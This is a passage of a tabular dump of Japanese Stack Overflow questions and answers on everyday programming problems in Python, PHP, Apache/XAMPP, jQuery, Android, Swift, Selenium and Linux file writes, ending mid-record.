question
dict | answers
list | id
stringlengths 2
5
| accepted_answer_id
stringlengths 2
5
⌀ | popular_answer_id
stringlengths 2
5
⌀ |
---|---|---|---|---|
{
"accepted_answer_id": "31919",
"answer_count": 1,
"body": "Python3(3.5.2)で引数を1つとり、その引数に応じてfor文のステップ数を変更する方法をご教示ください。 \n具体的には以下動作です。(以下は考えの説明をするための疑似コードです。実際には機能しません)\n\nコマンドラインにて \npython ./test.py 100 \nと実行した場合\n\n引数が50までは以下のような1ずつ増分するfor文処理を実施します。\n\n```\n\n for i in range(0, args[0], 1): #50まで\n *hogehoge*\n \n```\n\n50からは以下のような0.5ずつ増分するfor文処理を実施します。\n\n```\n\n for i in range(50, args[0], 0.5):\n *hogehoge*\n \n```\n\nつまりこの例では、 _hogehoge_ 処理は、全部で150回実施されます。 \n(0から50が50回、50から100が100回) \nこのとき、 _hogehoge_ 部分の処理は同じです。\n\nif文で分割すれば処理可能ですが、 _hogehoge_ 部分の処理が同じであり、 \n可能ならば1つのfor文で簡潔に表現したいと考えております。 \nご教示ください。\n\n以上",
"comment_count": 4,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-17T14:57:36.640",
"favorite_count": 0,
"id": "31918",
"last_activity_date": "2017-01-17T15:55:23.913",
"last_edit_date": null,
"last_editor_user_id": null,
"owner_user_id": "20259",
"post_type": "question",
"score": 0,
"tags": [
"python",
"python3"
],
"title": "for文のステップを途中で変更したい",
"view_count": 2413
} | [
{
"body": "hogehoge部分の処理が共通しているからといって,異なるステップ幅のfor文をひとつにまとめるのはお勧めしません.なぜならfor文は共通した処理をまとめるためのものではないからです. \n共通した処理をまとめるPythonの機能として関数があります. \nなので,二つのfor文でhogehogeを実行する関数を呼び出すようにするのがこの場合は適切でしょう. \n次のようにします.\n\n```\n\n def do_hogehoge():\n *hogehoge*\n for i in range(0, 50, 1):\n do_hogehoge()\n for i in range(50, args[0], 0.5):\n do_hogehoge()\n \n```\n\n[追記] \n`range`のステップ幅はintegerである必要がありました.なので上のコードは動きません.\n\n```\n\n range(50, args[0], 0.5)\n \n```\n\nを\n\n```\n\n [0.1*t for t in range(500, args[0]*10, 5)]\n \n```\n\nなどとするか,`numpy.arange`を使って\n\n```\n\n numpy.arange(50, args[0], 0.5)\n \n```\n\nなどとする必要があります.ただし`args[0]`はintegerと仮定しています.",
"comment_count": 0,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-17T15:08:44.343",
"id": "31919",
"last_activity_date": "2017-01-17T15:55:23.913",
"last_edit_date": "2017-01-17T15:55:23.913",
"last_editor_user_id": "4548",
"owner_user_id": "4548",
"parent_id": "31918",
"post_type": "answer",
"score": 0
}
]
| 31918 | 31919 | 31919 |
{
"accepted_answer_id": "31981",
"answer_count": 1,
"body": "list1=[\"a1\", \"a2\", \"a3\", \"a4\", \"a5\", \"a6\", \"a7\", \"a8\", \"a9\", \"a10\"] \nlist2=[\"b1\", \"b2\", \"b3\", \"b4\", \"b5\", \"b6\", \"b7\", \"b8\", \"b9\", \"b10\"] \nという2つのリストがあります。\n\n基本的に「[リストの要素をランダムに組み合わせて表示する](https://ja.stackoverflow.com/questions/31403/%E3%83%AA%E3%82%B9%E3%83%88%E3%81%AE%E8%A6%81%E7%B4%A0%E3%82%92%E3%83%A9%E3%83%B3%E3%83%80%E3%83%A0%E3%81%AB%E7%B5%84%E3%81%BF%E5%90%88%E3%82%8F%E3%81%9B%E3%81%A6%E8%A1%A8%E7%A4%BA%E3%81%99%E3%82%8B/31405#31405)」のように、list1とlist2の要素を一つずつランダムで重複なくペアにして(a1,\nb2)、(a4, b5)、(b3, a10)、のように表示しようとしています。 ペアの要素[0]と[1\n]にlist1とlist2の要素がそれぞれちょうど半分ずつ格納されるようにします。\n\nこの際、最初に何らかの指定 (例えば「1」を入力する) をすると、list1のa1からa5は必ず最終的なペアの要素[0]に、a6 からa10はペアの要素[1\n]に格納され、「2」を入力するとlist1のa6からa10は必ず最終的なペアの要素[0]に、a1からa5はペアの要素[1\n]に格納、という条件をつけたいのです。(「1」が入力された場合、list2も同様にb1からb5が要素[0]に…と処理は同様です。)\n\n初歩的な質問かもしれませんが、よろしくお願いします。",
"comment_count": 0,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-17T20:09:17.910",
"favorite_count": 0,
"id": "31924",
"last_activity_date": "2017-01-19T09:57:11.580",
"last_edit_date": "2017-04-13T12:52:38.920",
"last_editor_user_id": "-1",
"owner_user_id": "7677",
"post_type": "question",
"score": 0,
"tags": [
"python"
],
"title": "リストから取り出す要素範囲を指定してランダムに組み合わせる",
"view_count": 574
} | [
{
"body": "以下にコード例を示します。\n\n```\n\n import random\n \n def func(list1, list2, flag):\n l1 = list(list1)\n l2 = list(list2)\n random.shuffle(l2)\n \n pairs = []\n TO = 5\n if flag == 1:\n pairs += zip(l1[:TO], l2[:TO])\n pairs += zip(l2[TO:], l1[TO:])\n elif flag == 2:\n pairs += zip(l2[:TO], l1[:TO])\n pairs += zip(l1[TO:], l2[TO:])\n \n random.shuffle(pairs)\n return pairs\n \n \n list1=[\"a1\", \"a2\", \"a3\", \"a4\", \"a5\", \"a6\", \"a7\", \"a8\", \"a9\", \"a10\"]\n list2=[\"b1\", \"b2\", \"b3\", \"b4\", \"b5\", \"b6\", \"b7\", \"b8\", \"b9\", \"b10\"]\n print(func(list1, list2, 1))\n print(func(list1, list2, 2))\n \n```\n\n以下に実行例を示します。\n\n```\n\n [('b4', 'a7'), ('a2', 'b1'), ('a5', 'b9'), ('b7', 'a6'), ('b8', 'a9'), ('b10', 'a10'), ('a1', 'b2'), ('b5', 'a8'), ('a3', 'b6'), ('a4', 'b3')]\n [('a9', 'b9'), ('a10', 'b4'), ('b3', 'a1'), ('b10', 'a5'), ('a8', 'b5'), ('b7', 'a2'), ('a7', 'b1'), ('b6', 'a4'), ('a6', 'b8'), ('b2', 'a3')]\n \n```\n\nrandom.shuffle()は、リストをランダムに並び替える関数です。 \nflagの値により、ペアリングの方法を切り替えています。",
"comment_count": 0,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-19T09:51:03.607",
"id": "31981",
"last_activity_date": "2017-01-19T09:57:11.580",
"last_edit_date": "2017-01-19T09:57:11.580",
"last_editor_user_id": "20296",
"owner_user_id": "20296",
"parent_id": "31924",
"post_type": "answer",
"score": 1
}
]
| 31924 | 31981 | 31981 |
{
"accepted_answer_id": null,
"answer_count": 3,
"body": "以下のようなエラーが出ます。\n\n```\n\n 8:05:47 [Apache] Apache Service detected with wrong path\n 8:05:47 [Apache] Change XAMPP Apache and Control Panel settings or\n 8:05:47 [Apache] Uninstall/disable the other service manually first\n 8:05:47 [Apache] Found Path: \"c:\\Apache24\\bin\\httpd.exe\" -k runservice\n 8:05:47 [Apache] Expected Path: \"c:\\xampp\\apache\\bin\\httpd.exe\" -k runservice\n \n```\n\n前に一度apacheをインストールしましたが、Cドライブにコピペするだけという簡単なものでしたので、アンインストールするのも、そのフォルダを削除しましたが、エラーのFoundPathの項目で、削除できていないことになっているのですか??以前のapacheの削除方法がわかりません。。。またほかに何か対策はありますか??\n\n* * *\n\n**コメントより追記**\n\nご指摘の通り、変更したのですが、以下のようなエラーがでます。\n\n```\n\n 21:56:58 [Apache] Found Path: \"c:\\xampp\\bin\\httpd.exe\" -k runservice \n 21:56:58 [Apache] Expected Path: \"c:\\xampp\\apache\\bin\\httpd.exe\" -k runservice \n 21:56:58 [Apache] Problem detected! 21:56:58 [Apache] Port 80 in use by \"\"c:\\xampp\\bin\\httpd.exe\" -k runservice\" with PID 6452!\n 21:56:58 [Apache] Apache WILL NOT start without the configured ports free! \n 21:56:58 [Apache] You need to uninstall/disable/reconfigure the blocking application \n 21:56:58 [Apache] or reconfigure Apache and the Control Panel to listen on a different port\n \n```",
"comment_count": 0,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-17T23:34:22.303",
"favorite_count": 0,
"id": "31925",
"last_activity_date": "2019-11-11T19:00:55.110",
"last_edit_date": "2017-01-19T00:35:38.837",
"last_editor_user_id": null,
"owner_user_id": "20267",
"post_type": "question",
"score": 1,
"tags": [
"apache",
"xampp"
],
"title": "XAMPP起動時にApache Service detected with wrong pathと表示される",
"view_count": 5971
} | [
{
"body": "前にインストールしたものと競合してるんですよね? \n例えば、XAMPPのほうのポートを変えるとか…… \nもう一度以前のApacheを入れてアンインストールをやりなおすとか\n\n一応、同様の問題の記事があったので共有します。 \nただ、レジストリを編集することになるので慎重にどうぞ\n\n> `HKEY_LOCAL_MACHINE -> SYSTEM -> CurrentControlSet -> services -> \n> Apache2.4 ->ImagePath` の値を`\"c:\\xampp\\bin\\httpd.exe\" -k runservice`に変更\n\n<http://vlpius.hatenablog.com/entry/2014/08/26/135929>\n\n* * *\n\nリンク先の記事の方法を試したようですが、 \nリンク先と質問者さんとの環境の違いがあります。 \nエラー内容にも記載されておりますが、 \n質問者さんの環境だと`httpd`のパスが下記じゃないでしょうか?\n\n×:`\"c:\\xampp\\bin\\httpd.exe\" -k runservice`に変更 \n○:`\"c:\\xampp\\apache\\bin\\httpd.exe\" -k runservice`に変更\n\nまた、unaristさんの回答もありますが、試してみて駄目だったようでしたら、 \n駄目だった旨もお知らせして頂けると質問者さんの状況が分かり解決がしやすくなります。",
"comment_count": 3,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-18T00:38:59.793",
"id": "31926",
"last_activity_date": "2017-01-19T00:43:58.730",
"last_edit_date": "2017-01-19T00:43:58.730",
"last_editor_user_id": null,
"owner_user_id": null,
"parent_id": "31925",
"post_type": "answer",
"score": 0
},
{
"body": "前回にインストールされたApacheがサービスとして登録されたままになっているようです。\n\nもしXAMPP Control Panel\nを管理者権限で起動した時にApacheのService列にチェックマークがついていれば、これをクリックし、現れたダイアログでYesを選択すると、サービスの登録を解除することができます。\n\n[](https://i.stack.imgur.com/7BEe8.png)\n\nチェックマークがついていない場合は・・・\n\n * 同じ場所に同じようにApacheをインストールし、管理者権限で起動したコマンドプロンプトから次のコマンドを実行する。\n``` cd /d c:\\Apache24\\bin (注:インストール先\\bin)\n\n httpd -k stop\n httpd -k uninstall\n \n```\n\n * あるいは、手動でサービスを停止・削除する\n\n 1. ファイル名を指定して実行で `services.msc` を起動し、Apacheと名の付くサービスを探し、ダブルクリックでプロパティを開く\n 2. [実行ファイルのパス]が前回インストールした場所と同じかどうか確認する\n 3. [停止]が押せれば押す。サービス名(多分 Apache2.4)を覚えておく\n 4. 管理者権限で起動したコマンドプロンプトで、 `sc delete サービス名` を実行する\n\n> Problem detected! 21:56:58 [Apache] Port 80 in use by\n> \"\"c:\\xampp\\bin\\httpd.exe\" -k runservice\" with PID 6452! \n> Apache WILL NOT start without the configured ports free!\n\nXAMPP以外のApacheが既に起動しているようです。サービスとして起動されたもののようですから、上記のように `services.msc`\nで停止するのが簡単かと思います。 \n(もしくは再起動してしまうのも手ですが)\n\nそのうえで正しいパスに修正するなり一度登録解除するなりしましょう。",
"comment_count": 0,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-18T02:52:06.850",
"id": "31932",
"last_activity_date": "2017-01-19T01:27:28.177",
"last_edit_date": "2017-01-19T01:27:28.177",
"last_editor_user_id": "8000",
"owner_user_id": "8000",
"parent_id": "31925",
"post_type": "answer",
"score": 1
},
{
"body": "原因は、Windowsのコントロールのプログラムと機能から、XAMPPをアンインストールしたのが原因の様です。 \nXAMPPを正規の方法でアンインストールしなおせば解消されると思われます。\n\nC:\\XAMPP\\uninstall.exeがあります。このuninstall.exeを使用してアンインストールを実施して下さい。 \n実施し終わると、そのまま、Windowsが再起動されます。 \nWindowsが再起動後に、XAMPPを再度インストールして下さい。\n\nXAMPPのApacheの起動に成功するはずです。",
"comment_count": 0,
"content_license": "CC BY-SA 4.0",
"creation_date": "2019-09-16T16:12:10.180",
"id": "59101",
"last_activity_date": "2019-09-16T16:22:44.203",
"last_edit_date": "2019-09-16T16:22:44.203",
"last_editor_user_id": "35874",
"owner_user_id": "35874",
"parent_id": "31925",
"post_type": "answer",
"score": 0
}
]
| 31925 | null | 31932 |
{
"accepted_answer_id": null,
"answer_count": 2,
"body": "PHPで、 \nある変数$hoge \nがあるとします\n\n$hogeを、 \n1、2に分割したいと思います\n\n1は、$hogeの先頭から32文字、 \n2は、1の残りで、最大38文字\n\nに分割するにはどのような書き方をすればよいでしょうか\n\nよろしくお願いいたします",
"comment_count": 1,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-18T01:32:46.390",
"favorite_count": 0,
"id": "31927",
"last_activity_date": "2017-04-24T15:57:08.910",
"last_edit_date": null,
"last_editor_user_id": null,
"owner_user_id": "13381",
"post_type": "question",
"score": -1,
"tags": [
"php"
],
"title": "PHP文字列の分割",
"view_count": 213
} | [
{
"body": "単純なのだとこうかな\n\n```\n\n //先頭(0文字目)から32文字目まで\n $a1=substr($hoge, 0, 32);\n //33文字目から最後まで\n $a2=substr($hoge, 33);\n \n```\n\n一旦配列にするならこうかな\n\n```\n\n //32文字区切りで配列にする\n $arr=str_split($hoge, 32);\n //先頭要素切り取り\n $a1=array_shift($arr);\n //残り結合\n $a2=implode($arr);\n \n```",
"comment_count": 0,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-18T01:51:34.597",
"id": "31930",
"last_activity_date": "2017-01-18T01:51:34.597",
"last_edit_date": null,
"last_editor_user_id": null,
"owner_user_id": null,
"parent_id": "31927",
"post_type": "answer",
"score": 0
},
{
"body": "別解として `preg_match()` を使う場合などを。\n\n```\n\n preg_match('/^(.{32})(.{0,38})/',\n 'abcdefghijklmnopqrstuvwxyz0123456789',\n $match);\n \n echo \"$match[1]\\n\";\n echo \"$match[2]\\n\";\n =>\n abcdefghijklmnopqrstuvwxyz012345\n 6789\n \n```",
"comment_count": 0,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-18T02:31:53.543",
"id": "31931",
"last_activity_date": "2017-01-18T02:31:53.543",
"last_edit_date": null,
"last_editor_user_id": null,
"owner_user_id": null,
"parent_id": "31927",
"post_type": "answer",
"score": 1
}
]
| 31927 | null | 31931 |
{
"accepted_answer_id": "31940",
"answer_count": 2,
"body": "現在jqueryを使用してブラウザアプリを開発しているのですが。 \nブラウザの機能としてCtrl+マウスホイールで拡大縮小ができると思います。(chromeやIE) \nこれをボタンに置き換えたいと思っています。 \n例えば\"+\"ボタンを配置し、これが押されたらあたかも[Ctrl+マウスホイール奥へ一回コロコロ]がされたとブラウザに認識させたいのです。 \ncssを使い $(\"html\").css(\"zoom\", \"90%\");などのやり方も発見したのですが、 \nこれでは不都合になってしまったため質問しました。\n\nこのように実際にその操作はしていなくても[ctrlボタンが押された]や[マウスホイールが動かされた]という動作を意図的に行うことはできるのでしょうか?\n\n詳しい方いましたらご教授お願い致します。",
"comment_count": 0,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-18T04:16:35.853",
"favorite_count": 0,
"id": "31934",
"last_activity_date": "2017-01-18T08:41:11.843",
"last_edit_date": null,
"last_editor_user_id": null,
"owner_user_id": "20198",
"post_type": "question",
"score": 1,
"tags": [
"javascript",
"jquery"
],
"title": "キーイベントやマウスクリックイベントの疑似的発火について",
"view_count": 4863
} | [
{
"body": "> cssを使い $(\"html\").css(\"zoom\", \"90%\");などのやり方も発見したのですが、 \n> これでは不都合になってしまったため質問しました。\n\n具体的にはどのような不都合が生じたのでしょうか。\n\n[Ctrl] + [+] によるページズームをCSS/JavaScriptから直接操作する手段はおそらく用意されていないと思います。 \nこの機能は目の不自由なユーザがページ拡大して読みやすくしたり、逆に大きすぎる文字を小さくする事で視認性を上げたり、とユーザのためにある機能です。 \nこの機能をWeb製作者がコントロールできるとユーザの意図しないところでページ拡大率を変動させる事が可能になってしまいます。 \n(@user20198 さんにその意図がなくてもそのように実装できてしまう事が問題です。)",
"comment_count": 2,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-18T07:09:32.633",
"id": "31940",
"last_activity_date": "2017-01-18T07:09:32.633",
"last_edit_date": null,
"last_editor_user_id": null,
"owner_user_id": "20262",
"parent_id": "31934",
"post_type": "answer",
"score": 1
},
{
"body": "<https://stackoverflow.com/questions/10455626/keydown-simulation-in-chrome-\nfires-normally-but-not-the-correct-key> \nこちらのEntryを参考にCtrl++を発行してみて \nonkeypress内にてctrlがtrueになっている43(+キーのはず)のイベントが来ることは確認しましたが、 \nZoomは発生しませんでしたね・・・\n\n```\n\n var oEvent = document.createEvent('KeyboardEvent');\n \n // Chromium Hack\n Object.defineProperty(oEvent, 'keyCode', {\n get : function() {\n return this.keyCodeVal;\n }\n }); \n Object.defineProperty(oEvent, 'which', {\n get : function() {\n return this.keyCodeVal;\n }\n });\n \n oEvent.initKeyboardEvent(\"keypress\", true, true, document.defaultView, false, false, true, false, 43, 43);\n \n oEvent.keyCodeVal = 43;\n \n document.dispatchEvent(oEvent);\n \n```\n\n送り先のelementがdocumentになっているのでブラウザに割り当てられた機能としては働かない気がします。",
"comment_count": 1,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-18T08:41:11.843",
"id": "31942",
"last_activity_date": "2017-01-18T08:41:11.843",
"last_edit_date": "2017-05-23T12:38:56.083",
"last_editor_user_id": "-1",
"owner_user_id": "19716",
"parent_id": "31934",
"post_type": "answer",
"score": 0
}
]
| 31934 | 31940 | 31940 |
{
"accepted_answer_id": null,
"answer_count": 1,
"body": "c#と.Netのuiautomationを使用してACCESSフォーム内のテキストボックスに値を設定したいと考えております。 \nACCESSのフォーム外のテキストボックスであればCONTL.type.EditからValuePatternのsetValueできましたが、 \nフォームに対してはInvaidOperationExeptionが発生してしまいます。 \nなにか解決作はありますでしょうか。よろしくお願い致します。",
"comment_count": 6,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-18T04:27:58.803",
"favorite_count": 0,
"id": "31935",
"last_activity_date": "2018-01-08T07:06:31.067",
"last_edit_date": null,
"last_editor_user_id": null,
"owner_user_id": "13969",
"post_type": "question",
"score": 0,
"tags": [
"c#",
".net"
],
"title": "ACCESSフォーム内のテキストボックスに値を設定したい",
"view_count": 350
} | [
{
"body": "この質問はコメントにより実現が難しいと判明したため、質問を終了します。\n\n当該コメント:\n\n>\n> Office製品のフォームはWindowsの標準コントロールを使わずに独自の実装をしていたはずです。したがってWindows標準コントロールや.NETフレームワークで作られたアプリケーションをターゲットとして設計されているUIAutomationからの制御は難しいのではないかと思います。\n> -- [Kunihiro Narita](https://ja.stackoverflow.com/users/12774/kunihiro-\n> narita) 17年1月23日 0:45",
"comment_count": 0,
"content_license": "CC BY-SA 3.0",
"creation_date": "2018-01-05T14:04:37.873",
"id": "40756",
"last_activity_date": "2018-01-08T07:06:31.067",
"last_edit_date": "2018-01-08T07:06:31.067",
"last_editor_user_id": "754",
"owner_user_id": "13969",
"parent_id": "31935",
"post_type": "answer",
"score": 1
}
]
| 31935 | null | 40756 |
{
"accepted_answer_id": null,
"answer_count": 0,
"body": "現在、cakephp 2.xを利用して動画の閲覧サイトを構築しております。 \nhtml側はvideoタグに動画ファイル(mp4形式)を直書きするのではなく、該当するidのphpスクリプトを記述しております。 \nphp側はHTTP_RANGEを利用するコードにしており、 \n<https://stackoverflow.com/questions/5924061/using-php-to-output-an-mp4-video> \nを参考に実装しています。 \nしかし、特定の条件で動作不良が発生しており、原因の究明・対策が滞っており、皆様のお知恵をお借りできないかと思い投稿いたしました。\n\n現象としては、当方のテスト環境のサーバーで動作させた場合は、どの条件でも問題なく動画再生ができるのですが、公開予定の別のサーバーでは、iphone(iOS10)、ipadのみ再生が出来ません。(PCの主なブラウザ、アンドロイド端末のブラウザでは再生可能です。) \nパケットキャプチャなどで調査をしたいのですが、当方マックを持っていないので、厳しい状況です。\n\n何かヒントになるような事でも結構ですので、ご教授頂けると幸いです。",
"comment_count": 2,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-18T05:57:41.447",
"favorite_count": 0,
"id": "31936",
"last_activity_date": "2017-01-18T05:57:41.447",
"last_edit_date": "2017-05-23T12:38:56.083",
"last_editor_user_id": "-1",
"owner_user_id": "20274",
"post_type": "question",
"score": 0,
"tags": [
"php",
"iphone"
],
"title": "PHPを利用したHTTP_RANGEによる動画再生での現象",
"view_count": 585
} | []
| 31936 | null | null |
{
"accepted_answer_id": "31941",
"answer_count": 1,
"body": "androidのアプリで作成したファイル(主に.csv)を、任意のフォルダに保存することは可能でしょうか。\n\ngetFilesDir()では/data/user/0/<パッケージ名>/files、 \ngetExternalStorageDirectory()では/storage/emulated/0、 \ngetExternalStoragePublicDirectory(directory)では/storage/emulated/0/directoryにそれぞれ保存されるらしく、どれもデバイスからもPCからも見れないフォルダになっています。 \nこれを特別な操作(adbコマンド)などを使用せずに、保存先を触れる場所に指定することは可能でしょうか。 \nちなみにeclipseでAndroid6.0を使っています。\n\nパーミッションはmanifest.xmlにきちんと明記してあります。 \n作成したファイルをすぐにPCに移して作業することを目指しています。 \nプログラミング初心者なので、説明が足りないかもしれませんがよろしくお願いします。",
"comment_count": 0,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-18T06:30:44.560",
"favorite_count": 0,
"id": "31938",
"last_activity_date": "2017-01-18T07:19:15.360",
"last_edit_date": null,
"last_editor_user_id": null,
"owner_user_id": "20275",
"post_type": "question",
"score": 0,
"tags": [
"android",
"eclipse"
],
"title": "アプリで作成したファイルをデバイスやPCから見られる場所に保存するには",
"view_count": 15495
} | [
{
"body": "まず前提として、Androidでは任意のディレクトリに保存できません。 \nご提示のとおりにgetExternalStoragePublicDirectory()等のアプリの権限で許可されたディレクトリにしか保存出来ません。\n\n本題に戻しまして \ngetExternalStoragePublicDirectory()で取得されたディレクトリは、マスストレージとしてアクセス出来るディレクトリのはずです。\n\n例えばgetExternalStoragePublicDirectory(Environment.DIRECTORY_DOWNLOADS)に保存した場合を例にします。 \n1\\. AndroidデバイスとPCをUSBでつなぐ \n2\\. Notificationに「この端末をUSB充電」という通知が出ているはずなのでコレをタップ \n3\\. 選択肢がいくつか出ているはずなので「ファイルを転送する」をタップ \n4\\. PC側のエクスプローラー等でデバイスのストレージが見えているはずなので内部共有ストレージへアクセス \n5\\. Downloadディレクトリに目的のファイルが保存されているはず\n\n(2.3.の手順は昔のAndroid\nVersionでは不要でいきなりつながるはずです。どのVersionからだったかはすぐに出てきませんが6.0であれば必要手順のはずです。)\n\n上記手順を行なっても保存されたファイルが見えない場合はMediaScanが更新されていないものと思います。 \nファイルは保存されているがファイルシステムが更新されていないので見えない、と言った状態です。 \n更新するには以下のいずれかで \n・Androidをデバイス再起動 \n・保存後以下のコードを組み込みメディアスキャンを要求する\n\n```\n\n Uri uri =Uri.parse(\"file://\" + RESULT_DIR+\"/\"+RESULT_FILE);//RESULT_DIR/FILEは保存対象のパス\n //mediascan\n sendBroadcast(new Intent(\n Intent.ACTION_MEDIA_SCANNER_SCAN_FILE, uri));\n \n```",
"comment_count": 4,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-18T07:10:15.653",
"id": "31941",
"last_activity_date": "2017-01-18T07:19:15.360",
"last_edit_date": "2017-01-18T07:19:15.360",
"last_editor_user_id": "19716",
"owner_user_id": "19716",
"parent_id": "31938",
"post_type": "answer",
"score": 0
}
]
| 31938 | 31941 | 31941 |
{
"accepted_answer_id": "31969",
"answer_count": 1,
"body": "```\n\n protocol BaseProtcol{\n static func <(lhs: Self, rhs: Self) -> Bool\n static func MethodA()-> Bool\n }\n \n struct AClass : BaseProtcol{\n static func MethodA()->Bool{\n return true\n }\n }\n \n func <(lhs: AClass, rhs: AClass) -> Bool{\n return true\n }\n \n \n \n let a = AClass()\n let b = AClass()\n \n print( a \n```\n\nBaseProtocolには、二つのstatic関数が宣言されており、 \nこのプロトコルを適合する場合、2つの関数を実装します。\n\nこのとき、構造体のメンバとして実装すべきだと思いますが、 \n<演算子関数は、メンバ関数としてまたはグローバル関数としてとどちらでも定義できます。 \n下記のMethodA()はメンバ関数としてしか実装できません。\n\nこの違いは、演算子とそうでないものに見えますが、なぜ演算子はそのようなことが \n許されるのでしょうか。教えてください。\n\n疑問なのは、演算子をグローバル関数として実装したとき、 \nAClassがBaseProtcolに適合しているといえるのかというところです。",
"comment_count": 0,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-18T07:08:23.977",
"favorite_count": 0,
"id": "31939",
"last_activity_date": "2017-01-19T06:48:34.220",
"last_edit_date": "2017-01-18T07:14:15.773",
"last_editor_user_id": "11148",
"owner_user_id": "11148",
"post_type": "question",
"score": 0,
"tags": [
"swift",
"swift3"
],
"title": "プロトコルから要求される演算子関数",
"view_count": 143
} | [
{
"body": "[The Swift Programming Language (Swift 3.0.1) - Advanced\nOperators](https://developer.apple.com/library/prerelease/content/documentation/Swift/Conceptual/Swift_Programming_Language/AdvancedOperators.html#//apple_ref/doc/uid/TP40014097-CH27-ID28) \nこのApple文書を調べてみました。この中の「Operator\nMethods」の項で、プロトコルでなく、構造体における演算子の定義(新規定義と、オーバーロード含めて)について、旧版(Swift\n2.2)と比べてみました。\n\n_Swift 3.0.1 Edition_\n\n> The operator method is defined as a type method on Vector2D, with a method\n> name that matches the operator to be overloaded (+).\n\n(「Vector2D」は、サンプルコード中の構造体名)\n\n_Swift 2.2 Edition_\n\n> The operator function is defined as a global function with a function name\n> that matches the operator to be overload (+).\n\n大きな変更になっていることがわかります。「グローバル関数」で定義するのは、Swift 2.2のやり方。タイプメソッドで定義するのは、Swift\n3.0.1のやり方です。 \nXcode 8では、Swift 2の記法が完全に廃止されたものもあれば、このようにSwift 2の記法でも書けるものもあるようです。 \nやはり、タイプメソッドで、演算子の定義はするべきではないかと思います。",
"comment_count": 2,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-19T06:48:34.220",
"id": "31969",
"last_activity_date": "2017-01-19T06:48:34.220",
"last_edit_date": null,
"last_editor_user_id": null,
"owner_user_id": "18540",
"parent_id": "31939",
"post_type": "answer",
"score": 2
}
]
| 31939 | 31969 | 31969 |
{
"accepted_answer_id": null,
"answer_count": 1,
"body": "pythonでselenium(Firefox)を使ったスクレイピングをしているのですが、 \nhttpsのページにアクセスするとエラーになってしまい、困っております。\n\nhttpのページにはアクセスできます。\n\n解決策をご存知の方がおられましたら、教えていただけないでしょうか。\n\nFirefoxを使うのが必須条件です。\n\n環境\n\n* * *\n\ncentos6(vagrant)\n\npython3.5\n\nselenium (3.0.2)\n\nXvfb\n\nfirefox 45\n\nエラー内容\n\n* * *\n```\n\n Traceback (most recent call last):\n \n```\n\nFile \"cer.py\", line 17, in \ndriver.get('<https://www.google.co.jp/>') \nFile \"/home/vagrant/.pyenv/versions/3.5.1/lib/python3.5/site-\npackages/selenium/webdriver/remote/webdriver.py\", line 248, in get \nself.execute(Command.GET, {'url': url}) \nFile \"/home/vagrant/.pyenv/versions/3.5.1/lib/python3.5/site-\npackages/selenium/webdriver/remote/webdriver.py\", line 236, in execute \nself.error_handler.check_response(response) \nFile \"/home/vagrant/.pyenv/versions/3.5.1/lib/python3.5/site-\npackages/selenium/webdriver/remote/errorhandler.py\", line 192, in\ncheck_response \nraise exception_class(message, screen, stacktrace) \nselenium.common.exceptions.WebDriverException: Message: Error loading page\n\nエラーになるソースコード\n\n* * *\n```\n\n from selenium import webdriver\n profile = webdriver.FirefoxProfile()\n \n # 証明書の警告を無視する\n profile.accept_untrusted_certs = True\n profile.assume_untrusted_cert_issuer = False\n \n driver = webdriver.Firefox(firefox_profile=profile)\n driver.get('https://www.google.co.jp/')\n driver.close()\n \n```",
"comment_count": 0,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-18T10:15:35.343",
"favorite_count": 0,
"id": "31948",
"last_activity_date": "2017-02-08T18:40:16.920",
"last_edit_date": null,
"last_editor_user_id": null,
"owner_user_id": "20280",
"post_type": "question",
"score": 1,
"tags": [
"firefox",
"selenium",
"python3"
],
"title": "pythonでselenium(Firefox)を使ったスクレイピングでエラー",
"view_count": 1786
} | [
{
"body": "ウィルス対策ソフトを停止するとアクセスできるようになりました。。。",
"comment_count": 0,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-02-08T18:40:16.920",
"id": "32512",
"last_activity_date": "2017-02-08T18:40:16.920",
"last_edit_date": null,
"last_editor_user_id": null,
"owner_user_id": "20280",
"parent_id": "31948",
"post_type": "answer",
"score": 1
}
]
| 31948 | null | 32512 |
{
"accepted_answer_id": "31960",
"answer_count": 1,
"body": "`hoge` という文字列をファイルに書き出すプログラムを書いているとします。このプログラムのプロセスが、任意のタイミングで kill\nシグナルによって殺されうるとしたとき、このファイル書き込み処理をアトミックに行うことはできますか?\n\n具体例としては、コミットログを作成するプログラムなどを想定しています。\n\nもし、ファイルシステムが重要ならば、 ext4 を想定したいです。",
"comment_count": 1,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-18T16:05:06.573",
"favorite_count": 0,
"id": "31954",
"last_activity_date": "2017-01-19T02:29:22.683",
"last_edit_date": null,
"last_editor_user_id": null,
"owner_user_id": "754",
"post_type": "question",
"score": 0,
"tags": [
"linux"
],
"title": "アトミックなファイル書き込みを実現するには?",
"view_count": 806
} | [
{
"body": "ナイーブには\n\n 1. テンポラリファイルを作成(&オープン)する。\n 2. オープンしたままunlinkする。ファイルディスクリプタはまだ握っているのでファイルの操作は可能。\n 3. 書き込む。\n 4. syncする。\n 5. ここまででプロセスが死んだりしても半端な内容のファイルはディスクに残らない。\n 6. 本来の名前にリネーム(link)。この処理自体はアトミックであることを期待。ディスクをまたがったコピーなどは行なわれない前提。\n\nくらいが限度かな、と思いました。\n\nsync発行しただけではたとえばディスク側で持っているキャッシュから向こう側で永続化されている保証は得られないとか言い出すとキリがないですが。",
"comment_count": 0,
